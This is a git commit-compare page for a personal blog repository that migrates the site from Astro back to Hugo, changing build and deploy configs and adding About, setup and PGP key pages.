Compare commits
1 commit
Author | SHA1 | Date | |
---|---|---|---|
c467d9fd67 |
308 changed files with 3321 additions and 18083 deletions
28
.build.yml
28
.build.yml
|
@ -1,28 +0,0 @@
|
||||||
image: alpine/edge
|
|
||||||
oauth: pages.sr.ht/PAGES:RW
|
|
||||||
packages:
|
|
||||||
- hut
|
|
||||||
- npm
|
|
||||||
- rsync
|
|
||||||
- typst
|
|
||||||
environment:
|
|
||||||
site: mzhang.io
|
|
||||||
secrets:
|
|
||||||
- 0b26b413-7901-41c3-a4e2-3c752228ffcb
|
|
||||||
sources:
|
|
||||||
- https://git.sr.ht/~mzhang/blog
|
|
||||||
tasks:
|
|
||||||
- install: |
|
|
||||||
sudo npm install -g pnpm
|
|
||||||
- build: |
|
|
||||||
cd blog
|
|
||||||
pnpm install
|
|
||||||
pnpm run build
|
|
||||||
# hugo --buildDrafts --minify --baseURL https://mzhang.io
|
|
||||||
- upload: |
|
|
||||||
cd blog/dist
|
|
||||||
tar -cvz . > ../site.tar.gz
|
|
||||||
cd ..
|
|
||||||
hut pages publish -d $site site.tar.gz
|
|
||||||
# echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
|
|
||||||
# rsync -azvrP dist/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public
|
|
|
@ -1 +0,0 @@
|
||||||
*
|
|
|
@ -6,4 +6,4 @@ insert_final_newline = true
|
||||||
trim_trailing_whitespace = true
|
trim_trailing_whitespace = true
|
||||||
charset = utf-8
|
charset = utf-8
|
||||||
indent_style = space
|
indent_style = space
|
||||||
indent_size = 2
|
indent_size = 4
|
||||||
|
|
2
.gitattributes
vendored
2
.gitattributes
vendored
|
@ -1,2 +0,0 @@
|
||||||
public/katex/**/* linguist-vendored
|
|
||||||
src/**/*.md linguist-documentation=false
|
|
40
.gitignore
vendored
40
.gitignore
vendored
|
@ -1,34 +1,14 @@
|
||||||
# build output
|
/public
|
||||||
dist/
|
/old
|
||||||
# generated types
|
/resources
|
||||||
.astro/
|
/content/logseq
|
||||||
|
|
||||||
# dependencies
|
.hugo_build.lock
|
||||||
node_modules/
|
|
||||||
|
|
||||||
# logs
|
|
||||||
npm-debug.log*
|
|
||||||
yarn-debug.log*
|
|
||||||
yarn-error.log*
|
|
||||||
pnpm-debug.log*
|
|
||||||
|
|
||||||
|
|
||||||
# environment variables
|
|
||||||
.env
|
|
||||||
.env.production
|
|
||||||
|
|
||||||
# macOS-specific files
|
|
||||||
.DS_Store
|
|
||||||
|
|
||||||
PragmataPro-Mono-Liga-Regular-Nerd-Font-Complete.woff2
|
|
||||||
*.agdai
|
|
||||||
_build
|
|
||||||
.direnv
|
.direnv
|
||||||
|
*.agdai
|
||||||
|
|
||||||
|
/result*
|
||||||
|
|
||||||
/result
|
/static/fonts/patched/PragmataPro-Mono-Liga-Regular-Nerd-Font-Complete.woff2
|
||||||
.pnpm-store
|
node_modules
|
||||||
|
_site
|
||||||
/public/generated
|
|
||||||
|
|
||||||
.frontmatter
|
|
||||||
|
|
|
@ -1,3 +0,0 @@
|
||||||
public/katex
|
|
||||||
pnpm-lock.yaml
|
|
||||||
src/styles/fork-awesome
|
|
|
@ -1,17 +0,0 @@
|
||||||
{
|
|
||||||
"plugins": ["prettier-plugin-astro"],
|
|
||||||
"overrides": [
|
|
||||||
{
|
|
||||||
"files": "*.astro",
|
|
||||||
"options": {
|
|
||||||
"parser": "astro"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
],
|
|
||||||
|
|
||||||
"useTabs": false,
|
|
||||||
"tabWidth": 2,
|
|
||||||
"singleQuote": false,
|
|
||||||
"trailingComma": "all",
|
|
||||||
"printWidth": 100
|
|
||||||
}
|
|
8
.prettierrc.json5
Normal file
8
.prettierrc.json5
Normal file
|
@ -0,0 +1,8 @@
|
||||||
|
{
|
||||||
|
tabWidth: 2,
|
||||||
|
semi: true,
|
||||||
|
useTabs: false,
|
||||||
|
singleQuote: false,
|
||||||
|
trailingComma: "es5",
|
||||||
|
printWidth: 80,
|
||||||
|
}
|
|
@ -1,4 +0,0 @@
|
||||||
public
|
|
||||||
package-lock.json
|
|
||||||
src/styles/fork-awesome
|
|
||||||
pnpm-lock.yaml
|
|
7
.vscode/extensions.json
vendored
7
.vscode/extensions.json
vendored
|
@ -1,7 +0,0 @@
|
||||||
{
|
|
||||||
"recommendations": [
|
|
||||||
"astro-build.astro-vscode",
|
|
||||||
"eliostruyf.vscode-front-matter"
|
|
||||||
],
|
|
||||||
"unwantedRecommendations": []
|
|
||||||
}
|
|
11
.vscode/launch.json
vendored
11
.vscode/launch.json
vendored
|
@ -1,11 +0,0 @@
|
||||||
{
|
|
||||||
"version": "0.2.0",
|
|
||||||
"configurations": [
|
|
||||||
{
|
|
||||||
"command": "./node_modules/.bin/astro dev",
|
|
||||||
"name": "Development server",
|
|
||||||
"request": "launch",
|
|
||||||
"type": "node-terminal"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
3
.vscode/settings.json
vendored
3
.vscode/settings.json
vendored
|
@ -1,3 +0,0 @@
|
||||||
{
|
|
||||||
"npm.packageManager": "pnpm"
|
|
||||||
}
|
|
18
.woodpecker.yml
Normal file
18
.woodpecker.yml
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
pipeline:
|
||||||
|
build:
|
||||||
|
image: klakegg/hugo:ext-pandoc-ci
|
||||||
|
commands:
|
||||||
|
- hugo --buildDrafts --minify --baseURL https://mzhang.io
|
||||||
|
|
||||||
|
deploy:
|
||||||
|
image: alpine
|
||||||
|
commands:
|
||||||
|
- apk add rsync openssh
|
||||||
|
- echo "$${SSH_SECRET_KEY}" > SSH_SECRET_KEY
|
||||||
|
- chmod 600 SSH_SECRET_KEY
|
||||||
|
- mkdir -p ~/.ssh
|
||||||
|
- echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
|
||||||
|
- rsync -azvrP -e "ssh -i SSH_SECRET_KEY" public/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public
|
||||||
|
secrets: [ SSH_SECRET_KEY ]
|
||||||
|
when:
|
||||||
|
branch: master
|
|
@ -1,27 +0,0 @@
|
||||||
steps:
|
|
||||||
build:
|
|
||||||
image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
|
|
||||||
environment:
|
|
||||||
- ASTRO_TELEMETRY_DISABLED=1
|
|
||||||
commands:
|
|
||||||
- mkdir /tmp
|
|
||||||
- rm -rf node_modules
|
|
||||||
- npm i -g pnpm@9.4.0
|
|
||||||
- npx pnpm install --frozen-lockfile
|
|
||||||
- npx pnpm run build
|
|
||||||
when:
|
|
||||||
- event: push
|
|
||||||
|
|
||||||
deploy:
|
|
||||||
image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
|
|
||||||
commands:
|
|
||||||
- mc alias set $AWS_DEFAULT_REGION $AWS_ENDPOINT_URL $AWS_ACCESS_KEY_ID $AWS_SECRET_ACCESS_KEY --api S3v4
|
|
||||||
- mc mirror --overwrite ./dist/ $AWS_DEFAULT_REGION/mzhang-io-website/
|
|
||||||
secrets:
|
|
||||||
- AWS_ACCESS_KEY_ID
|
|
||||||
- AWS_DEFAULT_REGION
|
|
||||||
- AWS_ENDPOINT_URL
|
|
||||||
- AWS_SECRET_ACCESS_KEY
|
|
||||||
when:
|
|
||||||
- branch: master
|
|
||||||
event: push
|
|
|
@ -1,5 +0,0 @@
|
||||||
# Michael's Blog
|
|
||||||
|
|
||||||
https://mzhang.io
|
|
||||||
|
|
||||||
License: GPL-3.0 code / CC-BY-SA-4.0 contents
|
|
|
@ -1,57 +0,0 @@
|
||||||
import { defineConfig } from "astro/config";
|
|
||||||
import mdx from "@astrojs/mdx";
|
|
||||||
import sitemap from "@astrojs/sitemap";
|
|
||||||
import { rehypeAccessibleEmojis } from "rehype-accessible-emojis";
|
|
||||||
import remarkReadingTime from "./plugin/remark-reading-time";
|
|
||||||
import remarkEmoji from "remark-emoji";
|
|
||||||
import remarkDescription from "astro-remark-description";
|
|
||||||
import remarkAdmonitions, { mkdocsConfig } from "./plugin/remark-admonitions";
|
|
||||||
import remarkMath from "remark-math";
|
|
||||||
import rehypeKatex from "rehype-katex";
|
|
||||||
import remarkTypst from "./plugin/remark-typst";
|
|
||||||
import rehypeLinkHeadings from "@justfork/rehype-autolink-headings";
|
|
||||||
import rehypeSlug from "rehype-slug";
|
|
||||||
|
|
||||||
import markdoc from "@astrojs/markdoc";
|
|
||||||
import remarkAgda from "./plugin/remark-agda";
|
|
||||||
|
|
||||||
const outDir = "dist";
|
|
||||||
const base = process.env.BASE ?? "/";
|
|
||||||
const publicDir = "public";
|
|
||||||
|
|
||||||
// https://astro.build/config
|
|
||||||
export default defineConfig({
|
|
||||||
site: "https://mzhang.io",
|
|
||||||
prefetch: true,
|
|
||||||
integrations: [mdx(), sitemap(), markdoc()],
|
|
||||||
|
|
||||||
outDir,
|
|
||||||
base,
|
|
||||||
trailingSlash: "always",
|
|
||||||
publicDir,
|
|
||||||
|
|
||||||
markdown: {
|
|
||||||
syntaxHighlight: "shiki",
|
|
||||||
shikiConfig: { theme: "css-variables" },
|
|
||||||
remarkPlugins: [
|
|
||||||
() => remarkAgda({ outDir, base, publicDir }),
|
|
||||||
remarkMath,
|
|
||||||
[remarkAdmonitions, mkdocsConfig],
|
|
||||||
remarkReadingTime,
|
|
||||||
remarkTypst,
|
|
||||||
remarkEmoji,
|
|
||||||
[
|
|
||||||
remarkDescription,
|
|
||||||
{
|
|
||||||
name: "excerpt",
|
|
||||||
},
|
|
||||||
],
|
|
||||||
],
|
|
||||||
rehypePlugins: [
|
|
||||||
[rehypeKatex, {}],
|
|
||||||
rehypeAccessibleEmojis,
|
|
||||||
rehypeSlug,
|
|
||||||
[rehypeLinkHeadings, { behavior: "wrap" }],
|
|
||||||
],
|
|
||||||
},
|
|
||||||
});
|
|
17
biome.json
17
biome.json
|
@ -1,17 +0,0 @@
|
||||||
{
|
|
||||||
"$schema": "https://biomejs.dev/schemas/1.7.3/schema.json",
|
|
||||||
"organizeImports": {
|
|
||||||
"enabled": true
|
|
||||||
},
|
|
||||||
"formatter": {
|
|
||||||
"enabled": true,
|
|
||||||
"indentStyle": "space",
|
|
||||||
"indentWidth": 2
|
|
||||||
},
|
|
||||||
"linter": {
|
|
||||||
"enabled": true,
|
|
||||||
"rules": {
|
|
||||||
"recommended": true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,2 +0,0 @@
|
||||||
include: src/content/posts src
|
|
||||||
depend: standard-library cubical
|
|
BIN
bun.lockb
BIN
bun.lockb
Binary file not shown.
80
content/about/_index.md
Normal file
80
content/about/_index.md
Normal file
|
@ -0,0 +1,80 @@
|
||||||
|
+++
|
||||||
|
title = "About"
|
||||||
|
weight = 2
|
||||||
|
|
||||||
|
[cascade]
|
||||||
|
type = "generic"
|
||||||
|
layout = "single"
|
||||||
|
+++
|
||||||
|
|
||||||
|
# About Me
|
||||||
|
|
||||||
|
{{< left-nav >}}
|
||||||
|
|
||||||
|
<!-- more -->
|
||||||
|
|
||||||
|
### Research
|
||||||
|
|
||||||
|
Currently, I'm learning about [cubical type theory][cubical]. I'll probably
|
||||||
|
write some blog posts as I learn more. My advisor is [Favonia].
|
||||||
|
|
||||||
|
### University Involvement
|
||||||
|
|
||||||
|
During my time at the University of Minnesota, I like to be actively involved in
|
||||||
|
computing related student groups.
|
||||||
|
|
||||||
|
- **[GopherHack]**. I'm one of the founding officers at the GopherHack
|
||||||
|
organization, hoping to grow a CTF community at the University. I prepare
|
||||||
|
material for club activities.
|
||||||
|
- **[PL Seminar]**. A group focused on reading and discussing programming
|
||||||
|
languages related papers.
|
||||||
|
- **[UMN Kernel Object]**. A group dedicated to studying operating system
|
||||||
|
development, created in the aftermath of the UMN Linux kernel controversy.
|
||||||
|
|
||||||
|
Previously, I was also involved with:
|
||||||
|
|
||||||
|
- **[ACM]**. I was webmaster and wrote the current website, as well as helping
|
||||||
|
out with other events such as CTF.
|
||||||
|
- **[SASE]**. I was webmaster and was involved in organizing student group
|
||||||
|
events as well.
|
||||||
|
|
||||||
|
### Open-source Projects
|
||||||
|
|
||||||
|
Some of the projects I've been working on in my free time include:
|
||||||
|
|
||||||
|
- **[Wisesplit]**. A tool for easily splitting the bill with friends.
|
||||||
|
- **[Garbage]**. A CLI interface to the trash can API.
|
||||||
|
- **[Leanshot]**. A Linux screen capture tool.
|
||||||
|
|
||||||
|
More can be found on [this page][12] or my public [Gitea][2].
|
||||||
|
|
||||||
|
I've also started making an increased effort at using and supporting [FOSS], and
|
||||||
|
other software that're not predatory towards users. As a part of this effort,
|
||||||
|
I'm also self-hosting and rewriting some of the services and software that I use
|
||||||
|
regularly. Find out what I'm using [here][9].
|
||||||
|
|
||||||
|
### Hobbies
|
||||||
|
|
||||||
|
I'm also an avid rhythm game player and beatmap creator, mostly involved with
|
||||||
|
the free-to-play game [osu!]. Check out some of my beatmaps on my osu!
|
||||||
|
[userpage].
|
||||||
|
|
||||||
|
I also enjoy playing badminton 🏸 at the rec.
|
||||||
|
|
||||||
|
[2]: https://git.mzhang.io/explore
|
||||||
|
[9]: setup
|
||||||
|
[10]: pgp.txt
|
||||||
|
[12]: ../projects
|
||||||
|
[cubical]: https://ncatlab.org/nlab/show/cubical+type+theory
|
||||||
|
[favonia]: https://favonia.org
|
||||||
|
[foss]: https://en.wikipedia.org/wiki/Free_and_open-source_software
|
||||||
|
[garbage]: https://git.sr.ht/~mzhang/garbage
|
||||||
|
[gopherhack]: https://gopherhack.com
|
||||||
|
[leanshot]: https://git.sr.ht/~mzhang/leanshot
|
||||||
|
[osu!]: https://osu.ppy.sh
|
||||||
|
[pl seminar]: https://umn-plseminar.github.io
|
||||||
|
[userpage]: https://osu.ppy.sh/u/2688103
|
||||||
|
[wisesplit]: https://wisesplit.org
|
||||||
|
[acm]: https://acm.umn.edu
|
||||||
|
[sase]: https://saseumn.org
|
||||||
|
[umn kernel object]: https://github.com/UMN-Kernel-Object
|
78
content/about/pgp.txt
Normal file
78
content/about/pgp.txt
Normal file
|
@ -0,0 +1,78 @@
|
||||||
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||||
|
|
||||||
|
mQINBF4Zd7ABEADGHbFm8V6IPZLt7ZFvS0dXMcjpKgWSyeoLGTZYtZ+tLTgAE2Uc
|
||||||
|
FCzpNvo7eIu4kZ1bTsLbmVVXaVz0OKnHz+XfgrLnT2uGsABYfv3rwHd/Ia3Oe4Sc
|
||||||
|
ZNVI2UPmi/aLQUZGZrTBRflJd8xs4Ckl8OMOh3qMm0M0uHvYH3kb8gAeLMQZlyFi
|
||||||
|
P+65NsxNigXlgvtJzkK1vsqUOytYIJsw639f7Kf4W8QZfHTZ3WOOV/UC7Tuq1s0a
|
||||||
|
YgcftlQ1b9O5q01rJvVTNHHGv7i/9nhUMFVuUkOw3aAV3gn/e/THX+BWy0HJ/qtB
|
||||||
|
MGfeW8U2UKPqjJzxDIlaDXlPoO4rhrk0yL+CKKCCQNx87Z2PvObRz7u36gU0fgFk
|
||||||
|
m7sniexroI6lDA5TdWYEcPMlwfMx2zXoFBgx5Sa1pzMw/XJtqG1DFAUsSuc6g3Ty
|
||||||
|
5qOH7uSLFdoO3AflSCXMuS77l7595mptW3zkKcvFKre+u9ZejDePZdsjxnWovWC/
|
||||||
|
yCenB7dYofpJ1/RPPGdl0AuTouPmb56/u2FJ3yukJXXSBpR3iXwK+u4962vSJd3t
|
||||||
|
QUtqAHo23bvvRj0ZSn8ujIcXNVO3QPXHxnSQ86mnwh3CPL6JV+zTwesiVYvxBTHJ
|
||||||
|
kzPMWmpYzsJqW5KNOQA09arNvxyRcgIBpKBKZv34dANYvpzWKEQ0icIH8wARAQAB
|
||||||
|
tCNNaWNoYWVsIFpoYW5nIDxpcHRxQHByb3Rvbm1haWwuY29tPokCVAQTAQgAPhYh
|
||||||
|
BJJezAKJDVza4mGA1L2kejGjyO5rBQJeGXewAhsDBQkDwmcABQsJCAcCBhUKCQgL
|
||||||
|
AgQWAgMBAh4BAheAAAoJEL2kejGjyO5rXfgP/2KwYW5d0oEk9m6ZpORf6KkRlV2y
|
||||||
|
tEhiYIjAAuyQDfsqUtgfNMbTlK7MGuVhjUTZY6BP+CRO5xPUyGFBYOSOjgtwe/jU
|
||||||
|
QNFAhyUwBmWOXxezX1ZL2p5FJDQkiJFOzsCKO76+awalmp9t9pMUDhx8fkM1QcMM
|
||||||
|
Czp4QmeUQ+cZQnGQI8mRBMzX7adEUDusMQTtZLbE+mBdP5Uxu16CsR0JalF1OQOu
|
||||||
|
fLJx80ywQ0t4448EQJQ4PgLcYRCLN9m3fvMRIZy6BwfCAge7l4EvN7UtljJwQmlA
|
||||||
|
vTbdV6QhaaVeRtHUP6ZhZYxVgKxYaVsm0tDV89pkFR0xB+wmrZKMWMcQZ5X1XwC+
|
||||||
|
4Ubdmo7kcfcb7D/Sd4C/GkGDP9Jobn0E0YfBemuWJioC9wt71xREsSAWFNAZ3PzE
|
||||||
|
XTF6A5sEHXnxzC3r+ei/ivHhjbMJDqVCXmVqUufS7Cf06lqSyOhEpB6I4sn83sSw
|
||||||
|
l/RdqzoDsG/FDudxtgO99r3g405cqR9hVZCFleg1stHs7mDaFnlFaHnJTSqlIU4x
|
||||||
|
F6XD4niJa2Ti5xY9tHCqnBYXhlQfAwEwIqONGrrxcl/+YWlRANqEEYW7v28+bZvj
|
||||||
|
8Pm+QzW4hjCQ7xHTMeXiMu6yd8RrldPfhb79n4Wsn9dH7cBkMLqjILC+zxqhKXfN
|
||||||
|
ew6sqp0m+bYRYXBOtB5NaWNoYWVsIFpoYW5nIDxtYWlsQG16aGFuZy5pbz6JAlcE
|
||||||
|
EwEKAEECGwMFCQPCZwAFCwkIBwMFFQoJCAsFFgIDAQACHgECF4AWIQSSXswCiQ1c
|
||||||
|
2uJhgNS9pHoxo8juawUCX5hUgQIZAQAKCRC9pHoxo8jua6oID/9ktY4qnpVLMjiP
|
||||||
|
hfXrFHml/G7jGAPI/8We07VFEC9f4qKCtwiZIesyltDRiuW+Bdokcoz2oykI3dqL
|
||||||
|
MBJLLrvNw409MW34CkhuKxJEKifgNGFja7zljWSOZdVERvMifWh+w/B5eqjWR0iy
|
||||||
|
HTpAjzVtYHGMKVK9sBgVPnnba5b19vjmEQKLpiVvhxCZejmUgvICm1Q664540LWz
|
||||||
|
xFSgJmz6gONanea6URxyvF3yeT2UY7utDKd7LELd0caxNMJMkqgBrEwak2ykS4OZ
|
||||||
|
SD1r/kC6pwRTjEHL5uz0nt/IlcUCKJwNplSSyTewfx8wESGzHdEURS6je0OdkKkn
|
||||||
|
7t6JH7XLMYwLKW/TAVBQV19IOdvEr/cNWGmpcW/K/U11vFVxYB0v9URWEwqoWsx3
|
||||||
|
K/Uz9Kp9i8dqnMy4IfFx6AUMj6aQp9NyrkNB/Oc/C61PCG1/Fq4VHLgy3OLGIOum
|
||||||
|
tM3XPUs7BOvg3MCyVYu0coCinss6RLOUKBAuuEc9J+GB1o0m3bcUGF/XmJpopMpL
|
||||||
|
S+HlPtlo29FSmGWQdsyO5Ms33WUHYJxt3bA9bnCEwvPojUzY39YjQ3Pvg3VqCzI0
|
||||||
|
dhQs9lKUAr+ias7ydzpcTx3tnRsTtmCUV8AlQYE38fgQU8/Y6CZgXn/l32nv4pyi
|
||||||
|
0Vdu3wbRSI+QXV6xaSVvtyDgvT09xrQfTWljaGFlbCBaaGFuZyA8bXpoYW5nQHNp
|
||||||
|
ZnQubmV0PokCVAQTAQoAPhYhBJJezAKJDVza4mGA1L2kejGjyO5rBQJf/LV9AhsD
|
||||||
|
BQkDwmcABQsJCAcDBRUKCQgLBRYCAwEAAh4BAheAAAoJEL2kejGjyO5rKl0P/irR
|
||||||
|
bZhZ6kvAUAFot0eBgOJrGTD+3+8n8VnVHb1AGn6Pq7UqObhrR5gT9zf9A0t+x14L
|
||||||
|
C8y+e/OI+/hZWdj2z0n79D3X9ZeHBrU00S1gyBoluc+eKN8yW/A8KfwC/IX5c1ov
|
||||||
|
nIz/pP5056Dr9nlvZ99gSg3yR73WYodtH7vNQ9QOsiC99dgMEA04KOjSoDeCkWSv
|
||||||
|
+6WwFSjDsOz+SyyrU7uQQSbad00aZwArHQ1iRbqaV+/eESY7aI4TbXSVEDZ36QJg
|
||||||
|
LvpAO/pkz3nlKE6BRGl8SFjj3Lr5jYf/gH7A7BiYi1F7WnWHTaIIL3uxxj4U5eZB
|
||||||
|
Xd1YM8weAMeU9xT7teyPj35vfZtRebmquXkzeBLIzfjCCUEr2XAgIGajsYcI8fl9
|
||||||
|
nIGahng1fs1fGah2J3vR3QM9mL2SaQaknU2lEum9XUDiQuIr6GdjfeH0xyfqIEGG
|
||||||
|
2S2uiZvTYKkQxCt9cdaeclfJWcQnF+voveRPzzKAIw6q2V2JMaFkd9uTuBkGY+Ar
|
||||||
|
q6z6C9McHxzyoGF4/Nlbmrw2dKgD4lY5Hr92WiwwDnqlBhYPEWR2gSidYqXtRgPW
|
||||||
|
ICLt1DrBSzMFqNr3hAcXVjOiFklozpDL1RrUhra5azuscirzM9aIHuz85SzLzpCC
|
||||||
|
WSvyhSyknOTOp6dmQrt7mjqDPHw11mDYcBMtFmsQuQINBF4Zd7ABEAC5XlB/S3z+
|
||||||
|
WErLjskIkEU4+WmuRZh3eHQCgN//fxondOjODHNUIBydAY+7A4PTfvPwvhRKMIAT
|
||||||
|
kVCcRtaT3biqL8PZA7ov2Ul3naGsi42nNc4MHi76mZ82LUtuhdRIKIBMsJrR22pW
|
||||||
|
/LLgD4tLqfiaKwzijULFkdaPBdElP4S+dbLb7m3CaugwXcJqHzHTS/iGZyC4uD29
|
||||||
|
6NlnammB/vANLhWtGGWobnaieFfFaUNoNrT0T6z1zY4TFIRKshT5HixIhn8qFJuM
|
||||||
|
cyyjVeimNWekSLyo1UKwxLVkAhu1jAnd8C6g0X3vFbhthCLQqBSlxGtLjJRVRAU2
|
||||||
|
WjiXZsleJXsOBuhDj8GnanPZwVNBgjwNPIKY5X17WAFm324SQD6Hyc1qUMvGoKo5
|
||||||
|
OmLulBBX6Z9uwSLCe5q9clEwcqqf0KCOQasNkDlUTw34T2Xc47yycc/2UgVnfrXF
|
||||||
|
AteFdjmnuvQRRc8J5Gk/R+sclmQNE9v4TPr4gdwiaz2xpclYyy5NhP+4u1G6ovzH
|
||||||
|
/jePm2a3ZyejPEzy1JXZp5HwzgTL7WcPq+NHAgNOJ3wn7dxI8MZogzjEdGdQDfe1
|
||||||
|
ckh4BKl9PlZ+q9IZvECAm3HVJ5u4N8sF3KmmCQwCPPhoueZF6GzoMnG4fbs1N1jy
|
||||||
|
O0K1nfwnFjwz8E9hiWAyEpEZPjndJzs37QARAQABiQI8BBgBCAAmFiEEkl7MAokN
|
||||||
|
XNriYYDUvaR6MaPI7msFAl4Zd7ACGwwFCQPCZwAACgkQvaR6MaPI7mvAIQ/+Mtql
|
||||||
|
UWC72vXOjoRJ4BQy3B5pj9vgikgH4ePD3FFpgQzd/aWMgsyVhbV75GNOnk5nOHMD
|
||||||
|
X0bIVB7sBF8rAtybZEdxc8TS4xmR3wMCFC79TDwf8JTkBNJfYwBZfRzvHjXe0wlE
|
||||||
|
TTyCtdg6/nAzmLUcIonVlS2PUSeL+ueTge2b/4lRMOm7KXoPxChcBDQz+IgD38kt
|
||||||
|
NnOF+mWAEwIwQzaav4CqEHnB1N+S2exr6THoQmvhE6QK9aUsDmG8vsr210uJDu8r
|
||||||
|
d453NMYHONKgkL9IUJpgSWPu/OtEiiRi5mKTWEMeeNYtDJFdk+hszKsp+UzKHgbz
|
||||||
|
8/+mbOdqgbcozdQohEfTiy0lsCg/ZW+H9z/NRLHm7ldZqskNvRxlfRC7mVqh8yHd
|
||||||
|
EVFeFBXEnlU2RkXvxlxCZaEfsfogFLDlFmQXezMvSP120kWA7dcHQ8GMGJgDHDCj
|
||||||
|
cqyzI+0DYd2+Gpj9k6DJvXXb7zsirNY3ffeqTn3D5gcJ2KtSFEr3GUaINgO6dGej
|
||||||
|
PK1cmy3B5pp0Q2A4uuIetKZfE0O3oFrqJkqwM1Hn4BiRl5aMb9HiuGfg0G495ojo
|
||||||
|
Shnpdft7CEg0kU/RUfLjAxQs4va53Ma86FFG1FMxDpdaPCQcJma2C2Wr5p/2j3d3
|
||||||
|
gGtrxbJh/Mhq51seECOEBVQIrF8gnKYMrOkOv10=
|
||||||
|
=8UOD
|
||||||
|
-----END PGP PUBLIC KEY BLOCK-----
|
12
content/about/random-scripts.md
Normal file
12
content/about/random-scripts.md
Normal file
|
@ -0,0 +1,12 @@
|
||||||
|
+++
|
||||||
|
title = "random scripts"
|
||||||
|
+++
|
||||||
|
|
||||||
|
### convert a bunch of `flac`s to `mp3`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
function flac2mp3() { ffmpeg -y -i "$1" -acodec libmp3lame "$(basename "$1")".mp3; }
|
||||||
|
export -f flac2mp3 # only works in bash
|
||||||
|
fd "\.flac$" | parallel flac2mp3
|
||||||
|
```
|
48
content/about/setup.md
Normal file
48
content/about/setup.md
Normal file
|
@ -0,0 +1,48 @@
|
||||||
|
+++
|
||||||
|
title = "Setup"
|
||||||
|
+++
|
||||||
|
|
||||||
|
# Setup
|
||||||
|
|
||||||
|
List of software and services I use and endorse, mostly FOSS.
|
||||||
|
|
||||||
|
## Desktop
|
||||||
|
|
||||||
|
- [**Arch Linux**](https://archlinux.org/) OS with rolling releases.
|
||||||
|
- [**Home manager** (MIT)](https://github.com/nix-community/home-manager) Dotfile manager.
|
||||||
|
- [**Firefox** (MPL-2.0)](https://www.mozilla.org/firefox) Browser.
|
||||||
|
- [**Thunderbird** (MPL-2.0)](https://www.thunderbird.net) Email + calendar client.
|
||||||
|
|
||||||
|
## Development
|
||||||
|
|
||||||
|
- [**Neovim** (Apache-2.0/Vim)](https://neovim.io/) Text editor.
|
||||||
|
|
||||||
|
## Server
|
||||||
|
|
||||||
|
- [**NixOS** (MIT)](https://nixos.org/) Declarative and reproducible operating system.
|
||||||
|
- [**Hugo** (Apache-2.0)](https://gohugo.io/) Static site generator that powers this site.
|
||||||
|
- [**Gitea** (MIT)](https://gitea.io/) Self-hosted git.
|
||||||
|
|
||||||
|
## Mobile
|
||||||
|
|
||||||
|
- [**DAVx5** (GPL-3.0)](https://www.davx5.com/) CalDAV and CardDAV sync for Android.
|
||||||
|
- [**Gadgetbridge** (AGPL-3.0)](https://gadgetbridge.org/) Smartwatch client.
|
||||||
|
- [**K-9 Mail** (Apache-2.0)](https://k9mail.app/) Mail client.
|
||||||
|
- [**Feeder** (GPL-3.0)](https://f-droid.org/packages/com.nononsenseapps.feeder/) RSS aggregator.
|
||||||
|
|
||||||
|
## Music
|
||||||
|
|
||||||
|
- [**Navidrome** (GPL-3.0)](https://navidrome.com) Self-hosted Subsonic-compatible streaming server.
|
||||||
|
- [**Sublime Music** (GPL-3.0)](https://sublimemusic.app) GTK Subsonic-compatible music client.
|
||||||
|
- [**Subtracks** (GPL-3.0)](https://github.com/austinried/subtracks) Android Subsonic-compatible music client.
|
||||||
|
|
||||||
|
## Services
|
||||||
|
|
||||||
|
- [**SourceHut** (AGPL-3.0)](https://sourcehut.org) Git, mailing list, IRC bouncer, etc. hosting.
|
||||||
|
- [**Element**](https://element.io/) Federated chat provider.
|
||||||
|
- [**ProtonMail** (Proprietary)](https://protonmail.com/) Encrypted email.
|
||||||
|
- [**Signal** (GPL-3.0/AGPL-3.0)](https://signal.org/) Encrypted chat.
|
||||||
|
|
||||||
|
## Games
|
||||||
|
|
||||||
|
Mostly from Steam.
|
9
content/drafts/_index.md
Normal file
9
content/drafts/_index.md
Normal file
|
@ -0,0 +1,9 @@
|
||||||
|
+++
|
||||||
|
title = "Drafts"
|
||||||
|
weight = 1
|
||||||
|
hidden = true
|
||||||
|
|
||||||
|
[cascade]
|
||||||
|
type = "drafts"
|
||||||
|
+++
|
||||||
|
|
4
content/index.md
Normal file
4
content/index.md
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
---
|
||||||
|
---
|
||||||
|
|
||||||
|
Blog
|
3
content/main.scss
Normal file
3
content/main.scss
Normal file
|
@ -0,0 +1,3 @@
|
||||||
|
body {
|
||||||
|
background-color: gray;
|
||||||
|
}
|
|
@ -1,8 +1,8 @@
|
||||||
---
|
+++
|
||||||
title: My new life stack
|
title = "My new life stack"
|
||||||
date: 2018-02-01
|
date = 2018-02-01
|
||||||
tags: ["arch", "linux", "setup", "computers"]
|
tags = ["arch", "linux", "setup", "computers"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
This is my first post on my new blog! <!--more--> I used to put a CTF challenge writeup here but decided to change it up a bit. Recently, I've been changing a lot of the technology that I use day to day. Here's some of the changes that I've made!
|
This is my first post on my new blog! <!--more--> I used to put a CTF challenge writeup here but decided to change it up a bit. Recently, I've been changing a lot of the technology that I use day to day. Here's some of the changes that I've made!
|
||||||
|
|
||||||
|
@ -10,7 +10,7 @@ This is my first post on my new blog! <!--more--> I used to put a CTF challenge
|
||||||
|
|
||||||
I've ran regular Ubuntu on my laptop for a while, then switched to Elementary OS, which I found a lot more pleasing to use. After using Elementary OS for about 6 months, some of the software on my computer started behaving strangely, and I decided it was time for some change.
|
